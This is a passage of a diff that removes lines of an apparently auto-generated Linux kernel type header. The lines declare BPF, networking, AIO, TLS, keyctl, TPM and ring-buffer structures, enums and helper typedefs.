BPF_ADJ_ROOM_ENCAP_L2_MASK = 255, - BPF_ADJ_ROOM_ENCAP_L2_SHIFT = 56, -}; - -enum { - BPF_SK_LOOKUP_F_REPLACE = 1, - BPF_SK_LOOKUP_F_NO_REUSEPORT = 2, -}; - -enum bpf_adj_room_mode { - BPF_ADJ_ROOM_NET = 0, - BPF_ADJ_ROOM_MAC = 1, -}; - -enum bpf_hdr_start_off { - BPF_HDR_START_MAC = 0, - BPF_HDR_START_NET = 1, -}; - -enum bpf_lwt_encap_mode { - BPF_LWT_ENCAP_SEG6 = 0, - BPF_LWT_ENCAP_SEG6_INLINE = 1, - BPF_LWT_ENCAP_IP = 2, -}; - -enum { - BPF_SKB_TSTAMP_UNSPEC = 0, - BPF_SKB_TSTAMP_DELIVERY_MONO = 1, -}; - -struct bpf_tunnel_key { - __u32 tunnel_id; - union { - __u32 remote_ipv4; - __u32 remote_ipv6[4]; - }; - __u8 tunnel_tos; - __u8 tunnel_ttl; - union { - __u16 tunnel_ext; - __be16 tunnel_flags; - }; - __u32 tunnel_label; - union { - __u32 local_ipv4; - __u32 local_ipv6[4]; - }; -}; - -struct bpf_xfrm_state { - __u32 reqid; - __u32 spi; - __u16 family; - __u16 ext; - union { - __u32 remote_ipv4; - __u32 remote_ipv6[4]; - }; -}; - -struct bpf_tcp_sock { - __u32 snd_cwnd; - __u32 srtt_us; - __u32 rtt_min; - __u32 snd_ssthresh; - __u32 rcv_nxt; - __u32 snd_nxt; - __u32 snd_una; - __u32 mss_cache; - __u32 ecn_flags; - __u32 rate_delivered; - __u32 rate_interval_us; - __u32 packets_out; - __u32 retrans_out; - __u32 total_retrans; - __u32 segs_in; - __u32 data_segs_in; - __u32 segs_out; - __u32 data_segs_out; - __u32 lost_out; - __u32 sacked_out; - __u64 bytes_received; - __u64 bytes_acked; - __u32 dsack_dups; - __u32 delivered; - __u32 delivered_ce; - __u32 icsk_retransmits; -}; - -struct bpf_xdp_sock { - __u32 queue_id; -}; - -enum { - TCP_BPF_IW = 1001, - TCP_BPF_SNDCWND_CLAMP = 1002, - TCP_BPF_DELACK_MAX = 1003, - TCP_BPF_RTO_MIN = 1004, - TCP_BPF_SYN = 1005, - TCP_BPF_SYN_IP = 1006, - TCP_BPF_SYN_MAC = 1007, -}; - -enum { - BPF_LOAD_HDR_OPT_TCP_SYN = 1, -}; - -enum { - BPF_FIB_LOOKUP_DIRECT = 1, - BPF_FIB_LOOKUP_OUTPUT = 2, -}; - -enum { - BPF_FIB_LKUP_RET_SUCCESS = 0, - BPF_FIB_LKUP_RET_BLACKHOLE = 1, - BPF_FIB_LKUP_RET_UNREACHABLE = 2, - BPF_FIB_LKUP_RET_PROHIBIT = 3, - BPF_FIB_LKUP_RET_NOT_FWDED = 4, - BPF_FIB_LKUP_RET_FWD_DISABLED = 5, - BPF_FIB_LKUP_RET_UNSUPP_LWT = 6, - BPF_FIB_LKUP_RET_NO_NEIGH = 7, - BPF_FIB_LKUP_RET_FRAG_NEEDED = 8, -}; - -struct bpf_fib_lookup { - __u8 family; - __u8 l4_protocol; - __be16 sport; - __be16 dport; - union { - __u16 tot_len; - __u16 mtu_result; - }; - __u32 ifindex; - union { - __u8 tos; - __be32 flowinfo; - __u32 rt_metric; - }; - union { - __be32 ipv4_src; - __u32 ipv6_src[4]; - }; - union { - __be32 ipv4_dst; - __u32 ipv6_dst[4]; - }; - __be16 h_vlan_proto; - __be16 h_vlan_TCI; - __u8 smac[6]; - __u8 dmac[6]; -}; - -struct bpf_redir_neigh { - __u32 nh_family; - union { - __be32 ipv4_nh; - __u32 ipv6_nh[4]; - }; -}; - -enum bpf_check_mtu_flags { - BPF_MTU_CHK_SEGS = 1, -}; - -enum bpf_check_mtu_ret { - BPF_MTU_CHK_RET_SUCCESS = 0, - BPF_MTU_CHK_RET_FRAG_NEEDED = 1, - BPF_MTU_CHK_RET_SEGS_TOOBIG = 2, -}; - -struct compat_sock_fprog { - u16 len; - compat_uptr_t filter; -}; - -struct udp6_sock { - struct udp_sock udp; - struct ipv6_pinfo inet6; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct tcp6_sock { - struct tcp_sock tcp; - struct ipv6_pinfo inet6; -}; - -struct ipv6_bpf_stub { - int (*inet6_bind)(struct sock *, struct sockaddr *, int, u32); - struct sock * (*udp6_lib_lookup)(struct net *, const struct in6_addr *, __be16, const struct in6_addr *, __be16, int, int, struct udp_table *, struct sk_buff *); - int (*ipv6_setsockopt)(struct sock *, int, int, sockptr_t, unsigned int); - int (*ipv6_getsockopt)(struct sock *, int, int, sockptr_t, sockptr_t); -}; - -typedef u64 (*btf_bpf_skb_get_pay_offset)(struct sk_buff *); - -typedef u64 (*btf_bpf_skb_get_nlattr)(struct sk_buff *, u32, u32); - -typedef u64 (*btf_bpf_skb_get_nlattr_nest)(struct sk_buff *, u32, u32); - -typedef u64 (*btf_bpf_skb_load_helper_8)(const struct sk_buff *, const void *, int, int); - -typedef u64 (*btf_bpf_skb_load_helper_8_no_cache)(const struct sk_buff *, int); - -typedef u64 (*btf_bpf_skb_load_helper_16)(const struct sk_buff *, const void *, int, int); - -typedef u64 (*btf_bpf_skb_load_helper_16_no_cache)(const struct sk_buff *, int); - -typedef u64 (*btf_bpf_skb_load_helper_32)(const struct sk_buff *, const void *, int, int); - -typedef u64 (*btf_bpf_skb_load_helper_32_no_cache)(const struct sk_buff *, int); - -struct bpf_scratchpad { - union { - __be32 diff[128]; - u8 buff[512]; - }; -}; - -typedef u64 (*btf_bpf_skb_store_bytes)(struct sk_buff *, u32, const void *, u32, u64); - -typedef u64 (*btf_bpf_skb_load_bytes)(const struct sk_buff *, u32, void *, u32); - -typedef u64 (*btf_bpf_flow_dissector_load_bytes)(const struct bpf_flow_dissector *, u32, void *, u32); - -typedef u64 (*btf_bpf_skb_load_bytes_relative)(const struct sk_buff *, u32, void *, u32, u32); - -typedef u64 (*btf_bpf_skb_pull_data)(struct sk_buff *, u32); - -typedef u64 (*btf_bpf_sk_fullsock)(struct sock *); - -typedef u64 (*btf_sk_skb_pull_data)(struct sk_buff *, u32); - -typedef u64 (*btf_bpf_l3_csum_replace)(struct sk_buff *, u32, u64, u64, u64); - -typedef u64 (*btf_bpf_l4_csum_replace)(struct sk_buff *, u32, u64, u64, u64); - -typedef u64 (*btf_bpf_csum_diff)(__be32 *, u32, __be32 *, u32, __wsum); - -typedef u64 (*btf_bpf_csum_update)(struct sk_buff *, __wsum); - -typedef u64 (*btf_bpf_csum_level)(struct sk_buff *, u64); - -enum { - BPF_F_NEIGH = 2, - BPF_F_PEER = 4, - BPF_F_NEXTHOP = 8, -}; - -typedef u64 (*btf_bpf_clone_redirect)(struct sk_buff *, u32, u64); - -typedef u64 (*btf_bpf_redirect)(u32, u64); - -typedef u64 (*btf_bpf_redirect_peer)(u32, u64); - -typedef u64 (*btf_bpf_redirect_neigh)(u32, struct bpf_redir_neigh *, int, u64); - -typedef u64 (*btf_bpf_msg_apply_bytes)(struct sk_msg *, u32); - -typedef u64 (*btf_bpf_msg_cork_bytes)(struct sk_msg *, u32); - -typedef u64 (*btf_bpf_msg_pull_data)(struct sk_msg *, u32, u32, u64); - -typedef u64 (*btf_bpf_msg_push_data)(struct sk_msg *, u32, u32, u64); - -typedef u64 (*btf_bpf_msg_pop_data)(struct sk_msg *, u32, u32, u64); - -typedef u64 (*btf_bpf_get_cgroup_classid_curr)(); - -typedef u64 (*btf_bpf_skb_cgroup_classid)(const struct sk_buff *); - -typedef u64 (*btf_bpf_get_cgroup_classid)(const struct sk_buff *); - -typedef u64 (*btf_bpf_get_route_realm)(const struct sk_buff *); - -typedef u64 (*btf_bpf_get_hash_recalc)(struct sk_buff *); - -typedef u64 (*btf_bpf_set_hash_invalid)(struct sk_buff *); - -typedef u64 (*btf_bpf_set_hash)(struct sk_buff *, u32); - -typedef u64 (*btf_bpf_skb_vlan_push)(struct sk_buff *, __be16, u16); - -typedef u64 (*btf_bpf_skb_vlan_pop)(struct sk_buff *); - -typedef u64 (*btf_bpf_skb_change_proto)(struct sk_buff *, __be16, u64); - -typedef u64 (*btf_bpf_skb_change_type)(struct sk_buff *, u32); - -typedef u64 (*btf_sk_skb_adjust_room)(struct sk_buff *, s32, u32, u64); - -typedef u64 (*btf_bpf_skb_adjust_room)(struct sk_buff *, s32, u32, u64); - -typedef u64 (*btf_bpf_skb_change_tail)(struct sk_buff *, u32, u64); - -typedef u64 (*btf_sk_skb_change_tail)(struct sk_buff *, u32, u64); - -typedef u64 (*btf_bpf_skb_change_head)(struct sk_buff *, u32, u64); - -typedef u64 (*btf_sk_skb_change_head)(struct sk_buff *, u32, u64); - -typedef u64 (*btf_bpf_xdp_get_buff_len)(struct xdp_buff *); - -typedef u64 (*btf_bpf_xdp_adjust_head)(struct xdp_buff *, int); - -typedef u64 (*btf_bpf_xdp_load_bytes)(struct xdp_buff *, u32, void *, u32); - -typedef u64 (*btf_bpf_xdp_store_bytes)(struct xdp_buff *, u32, void *, u32); - -typedef u64 (*btf_bpf_xdp_adjust_tail)(struct xdp_buff *, int); - -typedef u64 (*btf_bpf_xdp_adjust_meta)(struct xdp_buff *, int); - -typedef u64 (*btf_bpf_xdp_redirect)(u32, u64); - -typedef u64 (*btf_bpf_xdp_redirect_map)(struct bpf_map *, u64, u64); - -typedef u64 (*btf_bpf_skb_event_output)(struct sk_buff *, struct bpf_map *, u64, void *, u64); - -typedef u64 (*btf_bpf_skb_get_tunnel_key)(struct sk_buff *, struct bpf_tunnel_key *, u32, u64); - -typedef u64 (*btf_bpf_skb_get_tunnel_opt)(struct sk_buff *, u8 *, u32); - -typedef u64 (*btf_bpf_skb_set_tunnel_key)(struct sk_buff *, const struct bpf_tunnel_key *, u32, u64); - -typedef u64 (*btf_bpf_skb_set_tunnel_opt)(struct sk_buff *, const u8 *, u32); - -typedef u64 (*btf_bpf_skb_under_cgroup)(struct sk_buff *, struct bpf_map *, u32); - -typedef u64 (*btf_bpf_skb_cgroup_id)(const struct sk_buff *); - -typedef u64 (*btf_bpf_skb_ancestor_cgroup_id)(const struct sk_buff *, int); - -typedef u64 (*btf_bpf_sk_cgroup_id)(struct sock *); - -typedef u64 (*btf_bpf_sk_ancestor_cgroup_id)(struct sock *, int); - -typedef u64 (*btf_bpf_xdp_event_output)(struct xdp_buff *, struct bpf_map *, u64, void *, u64); - -typedef u64 (*btf_bpf_get_socket_cookie)(struct sk_buff *); - -typedef u64 (*btf_bpf_get_socket_cookie_sock_addr)(struct bpf_sock_addr_kern *); - -typedef u64 (*btf_bpf_get_socket_cookie_sock)(struct sock *); - -typedef u64 (*btf_bpf_get_socket_ptr_cookie)(struct sock *); - -typedef u64 (*btf_bpf_get_socket_cookie_sock_ops)(struct bpf_sock_ops_kern *); - -typedef u64 (*btf_bpf_get_netns_cookie_sock)(struct sock *); - -typedef u64 (*btf_bpf_get_netns_cookie_sock_addr)(struct bpf_sock_addr_kern *); - -typedef u64 (*btf_bpf_get_netns_cookie_sock_ops)(struct bpf_sock_ops_kern *); - -typedef u64 (*btf_bpf_get_netns_cookie_sk_msg)(struct sk_msg *); - -typedef u64 (*btf_bpf_get_socket_uid)(struct sk_buff *); - -typedef u64 (*btf_bpf_sk_setsockopt)(struct sock *, int, int, char *, int); - -typedef u64 (*btf_bpf_sk_getsockopt)(struct sock *, int, int, char *, int); - -typedef u64 (*btf_bpf_unlocked_sk_setsockopt)(struct sock *, int, int, char *, int); - -typedef u64 (*btf_bpf_unlocked_sk_getsockopt)(struct sock *, int, int, char *, int); - -typedef u64 (*btf_bpf_sock_addr_setsockopt)(struct bpf_sock_addr_kern *, int, int, char *, int); - -typedef u64 (*btf_bpf_sock_addr_getsockopt)(struct bpf_sock_addr_kern *, int, int, char *, int); - -typedef u64 (*btf_bpf_sock_ops_setsockopt)(struct bpf_sock_ops_kern *, int, int, char *, int); - -typedef u64 (*btf_bpf_sock_ops_getsockopt)(struct bpf_sock_ops_kern *, int, int, char *, int); - -typedef u64 (*btf_bpf_sock_ops_cb_flags_set)(struct bpf_sock_ops_kern *, int); - -typedef u64 (*btf_bpf_bind)(struct bpf_sock_addr_kern *, struct sockaddr *, int); - -typedef u64 (*btf_bpf_skb_get_xfrm_state)(struct sk_buff *, u32, struct bpf_xfrm_state *, u32, u64); - -typedef u64 (*btf_bpf_xdp_fib_lookup)(struct xdp_buff *, struct bpf_fib_lookup *, int, u32); - -typedef u64 (*btf_bpf_skb_fib_lookup)(struct sk_buff *, struct bpf_fib_lookup *, int, u32); - -typedef u64 (*btf_bpf_skb_check_mtu)(struct sk_buff *, u32, u32 *, s32, u64); - -typedef u64 (*btf_bpf_xdp_check_mtu)(struct xdp_buff *, u32, u32 *, s32, u64); - -typedef u64 (*btf_bpf_lwt_in_push_encap)(struct sk_buff *, u32, void *, u32); - -typedef u64 (*btf_bpf_lwt_xmit_push_encap)(struct sk_buff *, u32, void *, u32); - -typedef u64 (*btf_bpf_lwt_seg6_store_bytes)(struct sk_buff *, u32, const void *, u32); - -typedef u64 (*btf_bpf_lwt_seg6_action)(struct sk_buff *, u32, void *, u32); - -typedef u64 (*btf_bpf_lwt_seg6_adjust_srh)(struct sk_buff *, u32, s32); - -typedef u64 (*btf_bpf_skc_lookup_tcp)(struct sk_buff *, struct bpf_sock_tuple *, u32, u64, u64); - -typedef u64 (*btf_bpf_sk_lookup_tcp)(struct sk_buff *, struct bpf_sock_tuple *, u32, u64, u64); - -typedef u64 (*btf_bpf_sk_lookup_udp)(struct sk_buff *, struct bpf_sock_tuple *, u32, u64, u64); - -typedef u64 (*btf_bpf_sk_release)(struct sock *); - -typedef u64 (*btf_bpf_xdp_sk_lookup_udp)(struct xdp_buff *, struct bpf_sock_tuple *, u32, u32, u64); - -typedef u64 (*btf_bpf_xdp_skc_lookup_tcp)(struct xdp_buff *, struct bpf_sock_tuple *, u32, u32, u64); - -typedef u64 (*btf_bpf_xdp_sk_lookup_tcp)(struct xdp_buff *, struct bpf_sock_tuple *, u32, u32, u64); - -typedef u64 (*btf_bpf_sock_addr_skc_lookup_tcp)(struct bpf_sock_addr_kern *, struct bpf_sock_tuple *, u32, u64, u64); - -typedef u64 (*btf_bpf_sock_addr_sk_lookup_tcp)(struct bpf_sock_addr_kern *, struct bpf_sock_tuple *, u32, u64, u64); - -typedef u64 (*btf_bpf_sock_addr_sk_lookup_udp)(struct bpf_sock_addr_kern *, struct bpf_sock_tuple *, u32, u64, u64); - -typedef u64 (*btf_bpf_tcp_sock)(struct sock *); - -typedef u64 (*btf_bpf_get_listener_sock)(struct sock *); - -typedef u64 (*btf_bpf_skb_ecn_set_ce)(struct sk_buff *); - -typedef u64 (*btf_bpf_tcp_check_syncookie)(struct sock *, void *, u32, struct tcphdr *, u32); - -typedef u64 (*btf_bpf_tcp_gen_syncookie)(struct sock *, void *, u32, struct tcphdr *, u32); - -typedef u64 (*btf_bpf_sk_assign)(struct sk_buff *, struct sock *, u64); - -typedef u64 (*btf_bpf_sock_ops_load_hdr_opt)(struct bpf_sock_ops_kern *, void *, u32, u64); - -typedef u64 (*btf_bpf_sock_ops_store_hdr_opt)(struct bpf_sock_ops_kern *, const void *, u32, u64); - -typedef u64 (*btf_bpf_sock_ops_reserve_hdr_opt)(struct bpf_sock_ops_kern *, u32, u64); - -typedef u64 (*btf_bpf_skb_set_tstamp)(struct sk_buff *, u64, u32); - -typedef u64 (*btf_bpf_tcp_raw_gen_syncookie_ipv4)(struct iphdr *, struct tcphdr *, u32); - -typedef u64 (*btf_bpf_tcp_raw_gen_syncookie_ipv6)(struct ipv6hdr *, struct tcphdr *, u32); - -typedef u64 (*btf_bpf_tcp_raw_check_syncookie_ipv4)(struct iphdr *, struct tcphdr *); - -typedef u64 (*btf_bpf_tcp_raw_check_syncookie_ipv6)(struct ipv6hdr *, struct tcphdr *); - -typedef u64 (*btf_sk_select_reuseport)(struct sk_reuseport_kern *, struct bpf_map *, void *, u32); - -typedef u64 (*btf_sk_reuseport_load_bytes)(const struct sk_reuseport_kern *, u32, void *, u32); - -typedef u64 (*btf_sk_reuseport_load_bytes_relative)(const struct sk_reuseport_kern *, u32, void *, u32, u32); - -typedef u64 (*btf_bpf_sk_lookup_assign)(struct bpf_sk_lookup_kern *, struct sock *, u64); - -typedef u64 (*btf_bpf_skc_to_tcp6_sock)(struct sock *); - -typedef u64 (*btf_bpf_skc_to_tcp_sock)(struct sock *); - -typedef u64 (*btf_bpf_skc_to_tcp_timewait_sock)(struct sock *); - -typedef u64 (*btf_bpf_skc_to_tcp_request_sock)(struct sock *); - -typedef u64 (*btf_bpf_skc_to_udp6_sock)(struct sock *); - -typedef u64 (*btf_bpf_skc_to_unix_sock)(struct sock *); - -typedef u64 (*btf_bpf_skc_to_mptcp_sock)(struct sock *); - -typedef u64 (*btf_bpf_sock_from_file)(struct file *); - -struct mptcp_sock; - -struct bpf_cpu_map_entry; - -struct bpf_dtab_netdev; - -struct unix_sock; - -enum { - SAMPLES = 8, - MIN_CHANGE = 5, -}; - -struct aperfmperf { - seqcount_t seq; - long unsigned int last_update; - u64 acnt; - u64 mcnt; - u64 aperf; - u64 mperf; -}; - -enum mce_notifier_prios { - MCE_PRIO_LOWEST = 0, - MCE_PRIO_MCELOG = 1, - MCE_PRIO_EDAC = 2, - MCE_PRIO_NFIT = 3, - MCE_PRIO_EXTLOG = 4, - MCE_PRIO_UC = 5, - MCE_PRIO_EARLY = 6, - MCE_PRIO_CEC = 7, - MCE_PRIO_HIGHEST = 7, -}; - -struct trace_event_raw_mce_record { - struct trace_entry ent; - u64 mcgcap; - u64 mcgstatus; - u64 status; - u64 addr; - u64 misc; - u64 synd; - u64 ipid; - u64 ip; - u64 tsc; - u64 walltime; - u32 cpu; - u32 cpuid; - u32 apicid; - u32 socketid; - u8 cs; - u8 bank; - u8 cpuvendor; - char __data[0]; -}; - -struct trace_event_data_offsets_mce_record {}; - -typedef void (*btf_trace_mce_record)(void *, struct mce *); - -struct mce_bank { - u64 ctl; - __u64 init: 1; - __u64 __reserved_1: 63; -}; - -struct mce_bank_dev { - struct device_attribute attr; - char attrname[16]; - u8 bank; -}; - -struct swap_iocb { - struct kiocb iocb; - struct bio_vec bvec[32]; - int pages; - int len; -}; - -struct swap_cgroup_ctrl { - struct page **map; - long unsigned int length; - spinlock_t lock; -}; - -struct swap_cgroup { - short unsigned int id; -}; - -struct stat { - __kernel_ulong_t st_dev; - __kernel_ulong_t st_ino; - __kernel_ulong_t st_nlink; - unsigned int st_mode; - unsigned int st_uid; - unsigned int st_gid; - unsigned int __pad0; - __kernel_ulong_t st_rdev; - __kernel_long_t st_size; - __kernel_long_t st_blksize; - __kernel_long_t st_blocks; - __kernel_ulong_t st_atime; - __kernel_ulong_t st_atime_nsec; - __kernel_ulong_t st_mtime; - __kernel_ulong_t st_mtime_nsec; - __kernel_ulong_t st_ctime; - __kernel_ulong_t st_ctime_nsec; - __kernel_long_t __unused[3]; -}; - -struct __old_kernel_stat { - short unsigned int st_dev; - short unsigned int st_ino; - short unsigned int st_mode; - short unsigned int st_nlink; - short unsigned int st_uid; - short unsigned int st_gid; - short unsigned int st_rdev; - unsigned int st_size; - unsigned int st_atime; - unsigned int st_mtime; - unsigned int st_ctime; -}; - -struct kioctx; - -struct kioctx_table { - struct callback_head rcu; - unsigned int nr; - struct kioctx *table[0]; -}; - -typedef __kernel_ulong_t aio_context_t; - -enum { - IOCB_CMD_PREAD = 0, - IOCB_CMD_PWRITE = 1, - IOCB_CMD_FSYNC = 2, - IOCB_CMD_FDSYNC = 3, - IOCB_CMD_POLL = 5, - IOCB_CMD_NOOP = 6, - IOCB_CMD_PREADV = 7, - IOCB_CMD_PWRITEV = 8, -}; - -struct io_event { - __u64 data; - __u64 obj; - __s64 res; - __s64 res2; -}; - -struct iocb { - __u64 aio_data; - __u32 aio_key; - __kernel_rwf_t aio_rw_flags; - __u16 aio_lio_opcode; - __s16 aio_reqprio; - __u32 aio_fildes; - __u64 aio_buf; - __u64 aio_nbytes; - __s64 aio_offset; - __u64 aio_reserved2; - __u32 aio_flags; - __u32 aio_resfd; -}; - -typedef int kiocb_cancel_fn(struct kiocb *); - -struct aio_ring { - unsigned int id; - unsigned int nr; - unsigned int head; - unsigned int tail; - unsigned int magic; - unsigned int compat_features; - unsigned int incompat_features; - unsigned int header_length; - struct io_event io_events[0]; -}; - -struct kioctx_cpu; - -struct ctx_rq_wait; - -struct kioctx { - struct percpu_ref users; - atomic_t dead; - struct percpu_ref reqs; - long unsigned int user_id; - struct kioctx_cpu *cpu; - unsigned int req_batch; - unsigned int max_reqs; - unsigned int nr_events; - long unsigned int mmap_base; - long unsigned int mmap_size; - struct page **ring_pages; - long int nr_pages; - struct rcu_work free_rwork; - struct ctx_rq_wait *rq_wait; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct { - atomic_t reqs_available; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - }; - struct { - spinlock_t ctx_lock; - struct list_head active_reqs; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - }; - struct { - struct mutex ring_lock; - wait_queue_head_t wait; - long: 64; - long: 64; - long: 64; - long: 64; - }; - struct { - unsigned int tail; - unsigned int completed_events; - spinlock_t completion_lock; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - }; - struct page *internal_pages[8]; - struct file *aio_ring_file; - unsigned int id; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct kioctx_cpu { - unsigned int reqs_available; -}; - -struct ctx_rq_wait { - struct completion comp; - atomic_t count; -}; - -struct fsync_iocb { - struct file *file; - struct work_struct work; - bool datasync; - struct cred *creds; -}; - -struct poll_iocb { - struct file *file; - struct wait_queue_head *head; - __poll_t events; - bool cancelled; - bool work_scheduled; - bool work_need_resched; - struct wait_queue_entry wait; - struct work_struct work; -}; - -struct aio_kiocb { - union { - struct file *ki_filp; - struct kiocb rw; - struct fsync_iocb fsync; - struct poll_iocb poll; - }; - struct kioctx *ki_ctx; - kiocb_cancel_fn *ki_cancel; - struct io_event ki_res; - struct list_head ki_list; - refcount_t ki_refcnt; - struct eventfd_ctx *ki_eventfd; -}; - -struct aio_poll_table { - struct poll_table_struct pt; - struct aio_kiocb *iocb; - bool queued; - int error; -}; - -struct __aio_sigset { - const sigset_t *sigmask; - size_t sigsetsize; -}; - -struct sha512_state { - u64 state[8]; - u64 count[2]; - u8 buf[128]; -}; - -typedef void sha512_block_fn(struct sha512_state *, const u8 *, int); - -enum { - LINUX_RAID_PARTITION___3 = 253, -}; - -struct sgi_volume { - s8 name[8]; - __be32 block_num; - __be32 num_bytes; -}; - -struct sgi_partition { - __be32 num_blocks; - __be32 first_block; - __be32 type; -}; - -struct sgi_disklabel { - __be32 magic_mushroom; - __be16 root_part_num; - __be16 swap_part_num; - s8 boot_file[16]; - u8 _unused0[48]; - struct sgi_volume volume[15]; - struct sgi_partition partitions[16]; - __be32 csum; - __be32 _unused1; -}; - -struct io_open { - struct file *file; - int dfd; - u32 file_slot; - struct filename *filename; - struct open_how how; - long unsigned int nofile; -}; - -struct io_close { - struct file *file; - int fd; - u32 file_slot; -}; - -struct trackpoint_data { - u8 variant_id; - u8 firmware_id; - u8 sensitivity; - u8 speed; - u8 inertia; - u8 reach; - u8 draghys; - u8 mindrag; - u8 thresh; - u8 upthresh; - u8 ztime; - u8 jenks; - u8 drift_time; - bool press_to_select; - bool skipback; - bool ext_dev; -}; - -struct trackpoint_attr_data { - size_t field_offset; - u8 command; - u8 mask; - bool inverted; - u8 power_on_default; -}; - -struct dmi_device_attribute { - struct device_attribute dev_attr; - int field; -}; - -struct mafield { - const char *prefix; - int field; -}; - -enum tc_mq_command { - TC_MQ_CREATE = 0, - TC_MQ_DESTROY = 1, - TC_MQ_STATS = 2, - TC_MQ_GRAFT = 3, -}; - -struct tc_mq_opt_offload_graft_params { - long unsigned int queue; - u32 child_handle; -}; - -struct tc_mq_qopt_offload { - enum tc_mq_command command; - u32 handle; - union { - struct tc_qopt_offload_stats stats; - struct tc_mq_opt_offload_graft_params graft_params; - }; -}; - -struct mq_sched { - struct Qdisc **qdiscs; -}; - -struct coalesce_reply_data { - struct ethnl_reply_data base; - struct ethtool_coalesce coalesce; - struct kernel_ethtool_coalesce kernel_coalesce; - u32 supported_params; -}; - -struct raw_frag_vec { - struct msghdr *msg; - union { - struct icmphdr icmph; - char c[1]; - } hdr; - int hlen; -}; - -struct tls_rec { - struct list_head list; - int tx_ready; - int tx_flags; - struct sk_msg msg_plaintext; - struct sk_msg msg_encrypted; - struct scatterlist sg_aead_in[2]; - struct scatterlist sg_aead_out[2]; - char content_type; - struct scatterlist sg_content_type; - char aad_space[13]; - u8 iv_data[16]; - struct aead_request aead_req; - u8 aead_req_ctx[0]; -}; - -struct tls_decrypt_arg { - union { - struct { - bool zc; - bool async; - u8 tail; - }; - struct { - bool zc; - bool async; - u8 tail; - } inargs; - }; - struct sk_buff *skb; -}; - -struct tls_decrypt_ctx { - u8 iv[16]; - u8 aad[13]; - u8 tail; - struct scatterlist sg[0]; -}; - -enum insn_type { - CALL = 0, - NOP = 1, - JMP = 2, - RET = 3, -}; - -enum x86_regset { - REGSET_GENERAL = 0, - REGSET_FP = 1, - REGSET_XFP = 2, - REGSET_IOPERM64 = 2, - REGSET_XSTATE = 3, - REGSET_TLS = 4, - REGSET_IOPERM32 = 5, -}; - -struct pt_regs_offset { - const char *name; - int offset; -}; - -struct bpf_cgroup_storage_map { - struct bpf_map map; - spinlock_t lock; - struct rb_root root; - struct list_head list; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct bpf_iter_aux_info; - -struct jbd2_revoke_table_s { - int hash_size; - int hash_shift; - struct list_head *hash_table; -}; - -struct jbd2_revoke_record_s { - struct list_head hash; - tid_t sequence; - long long unsigned int blocknr; -}; - -struct keyctl_dh_params { - union { - __s32 private; - __s32 priv; - }; - __s32 prime; - __s32 base; -}; - -struct keyctl_kdf_params { - char *hashname; - char *otherinfo; - __u32 otherinfolen; - __u32 __spare[8]; -}; - -struct keyctl_pkey_query { - __u32 supported_ops; - __u32 key_size; - __u16 max_data_size; - __u16 max_sig_size; - __u16 max_enc_size; - __u16 max_dec_size; - __u32 __spare[10]; -}; - -struct keyctl_pkey_params { - __s32 key_id; - __u32 in_len; - union { - __u32 out_len; - __u32 in2_len; - }; - __u32 __spare[7]; -}; - -struct hash_ctx { - struct af_alg_sgl sgl; - u8 *result; - struct crypto_wait wait; - unsigned int len; - bool more; - struct ahash_request req; -}; - -struct acpipnp_parse_option_s { - struct pnp_dev *dev; - unsigned int option_flags; -}; - -struct tpm_readpubek_out { - u8 algorithm[4]; - u8 encscheme[2]; - u8 sigscheme[2]; - __be32 paramsize; - u8 parameters[12]; - __be32 keysize; - u8 modulus[256]; - u8 checksum[20]; -}; - -struct tpm_pcr_attr { - int alg_id; - int pcr; - struct device_attribute attr; -}; - -struct usage_priority { - __u32 usage; - bool global; - unsigned int slot_overwrite; -}; - -typedef bool (*hid_usage_cmp_t)(struct hid_usage *, unsigned int, unsigned int); - -struct ip_fraglist_iter { - struct sk_buff *frag; - struct iphdr *iph; - int offset; - unsigned int hlen; -}; - -struct ip_frag_state { - bool DF; - unsigned int hlen; - unsigned int ll_rs; - unsigned int mtu; - unsigned int left; - int offset; - int ptr; - __be16 not_last_frag; -}; - -enum { - NLBL_MGMT_C_UNSPEC = 0, - NLBL_MGMT_C_ADD = 1, - NLBL_MGMT_C_REMOVE = 2, - NLBL_MGMT_C_LISTALL = 3, - NLBL_MGMT_C_ADDDEF = 4, - NLBL_MGMT_C_REMOVEDEF = 5, - NLBL_MGMT_C_LISTDEF = 6, - NLBL_MGMT_C_PROTOCOLS = 7, - NLBL_MGMT_C_VERSION = 8, - __NLBL_MGMT_C_MAX = 9, -}; - -enum { - NLBL_MGMT_A_UNSPEC = 0, - NLBL_MGMT_A_DOMAIN = 1, - NLBL_MGMT_A_PROTOCOL = 2, - NLBL_MGMT_A_VERSION = 3, - NLBL_MGMT_A_CV4DOI = 4, - NLBL_MGMT_A_IPV6ADDR = 5, - NLBL_MGMT_A_IPV6MASK = 6, - NLBL_MGMT_A_IPV4ADDR = 7, - NLBL_MGMT_A_IPV4MASK = 8, - NLBL_MGMT_A_ADDRSELECTOR = 9, - NLBL_MGMT_A_SELECTORLIST = 10, - NLBL_MGMT_A_FAMILY = 11, - NLBL_MGMT_A_CLPDOI = 12, - __NLBL_MGMT_A_MAX = 13, -}; - -struct netlbl_domhsh_walk_arg___2 { - struct netlink_callback *nl_cb; - struct sk_buff *skb; - u32 seq; -}; - -struct uevent_sock { - struct list_head list; - struct sock *sk; -}; - -struct fork_frame { - struct inactive_task_frame frame; - struct pt_regs regs; -}; - -struct ssb_state { - struct ssb_state *shared_state; - raw_spinlock_t lock; - unsigned int disable_state; - long unsigned int local_state; -}; - -enum ring_buffer_type { - RINGBUF_TYPE_DATA_TYPE_LEN_MAX = 28, - RINGBUF_TYPE_PADDING = 29, - RINGBUF_TYPE_TIME_EXTEND = 30, - RINGBUF_TYPE_TIME_STAMP = 31, -}; - -struct ring_buffer_per_cpu; - -struct buffer_page; - -struct ring_buffer_iter { - struct ring_buffer_per_cpu *cpu_buffer; - long unsigned int head; - long unsigned int next_event; - struct buffer_page *head_page; - struct buffer_page *cache_reader_page; - long unsigned int cache_read; - u64 read_stamp; - u64 page_stamp; - struct ring_buffer_event *event; - int missed_events; -}; - -struct rb_irq_work { - struct irq_work work; - wait_queue_head_t waiters; - wait_queue_head_t full_waiters; - long int wait_index; - bool waiters_pending; - bool full_waiters_pending; - bool wakeup_full; -}; - -struct 